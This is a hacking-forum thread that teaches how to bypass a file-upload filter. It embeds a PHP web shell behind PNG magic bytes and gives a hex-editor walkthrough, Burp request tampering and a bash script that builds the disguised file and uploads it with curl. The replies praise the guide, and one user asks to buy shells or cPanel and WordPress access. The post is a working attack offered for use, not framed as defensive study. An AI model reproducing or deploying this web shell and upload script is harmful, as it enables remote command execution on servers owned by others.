Hack Forums
File Upload Filter Bypass with Embedded PHP Shell - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: File Upload Filter Bypass with Embedded PHP Shell (/showthread.php?tid=6272272)

File Upload Filter Bypass with Embedded PHP Shell - Clumsy - May 30, 2024

File Upload Filter Bypass

Scenario you have a place to upload files that you can access, but there is a filter making sure that the
file type matches the ones expected (e.g. only image file types)

PNG Image Header
89 50 4E 47

Open a hex editor and create a new file, copy those bytes over to the beginning of the new file. Into the
TEXT area (on the right, not the bytes area where you just pasted the header above) paste your shell

<?php system($_GET['c']);?>

It should look like this

[Image: Screenshot-2024-05-30-at-20-11-09-File-U...ss-pdf.png]

Take note of the length

[Image: Screenshot-2024-05-30-at-20-12-59-File-U...ss-pdf.png]

Next start burp and navigate to the upload directory.

Then do the following

1. Turn on interceptor

2. Send an upload request with any file

3. Modify the request

Original

[Image: Screenshot-2024-05-30-at-20-14-44-File-U...ss-pdf.png]

Modified

[Image: Screenshot-2024-05-30-at-20-15-43-File-U...ss-pdf.png]

Then forward the request and disable interceptor.

You can automate this request by doing the following

Code
#!/bin/bash

# Function to create PNG file with embedded PHP shell
create_embedded_shell_png() {
    echo -n -e "\x89\x50\x4E\x47" > embedded_shell.png
    echo '<?php system($_GET["c"]); ?>' >> embedded_shell.png
}

# Function to calculate file length
get_file_length() {
    file_length=$(stat -c %s embedded_shell.png)
    echo "$file_length"
}

# Function to upload file to server
upload_file() {
    url="http://example.com/upload.php"  # Replace with actual upload URL
    file="embedded_shell.png"
    curl -X POST -F "file=@$file" $url
}

# Main script
echo "Creating PNG file with embedded PHP shell..."
create_embedded_shell_png

echo "File created successfully."

file_length=$(get_file_length)
echo "File length: $file_length bytes"

echo "Uploading file to server..."
upload_file

echo "File uploaded successfully."


RE: File Upload Filter Bypass with Embedded PHP Shell - chamfer - Jun 14, 2024

Thanks for the guide! For those interested, I've found this link which provides the magic numbers / file headers for common file types:
https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5

RE: File Upload Filter Bypass with Embedded PHP Shell - flyingduck - Oct 26, 2025

hq post! thanks for sharing, and keep it coming!

RE: File Upload Filter Bypass with Embedded PHP Shell - JoshAllen - Oct 29, 2025

Really good high quality post! Thank you for sharing your wisdom!

RE: File Upload Filter Bypass with Embedded PHP Shell - Ivanov_1 - Oct 29, 2025

Great hq post,well explained. Thanks for sharing.

RE: File Upload Filter Bypass with Embedded PHP Shell - ButtBundy - Oct 31, 2025

would you be ok if i post this tut on my hacking companion website? www.hackpack.xyz

RE: File Upload Filter Bypass with Embedded PHP Shell - Sophiav - Nov 12, 2025

Do you sell shell or cpanel or wp?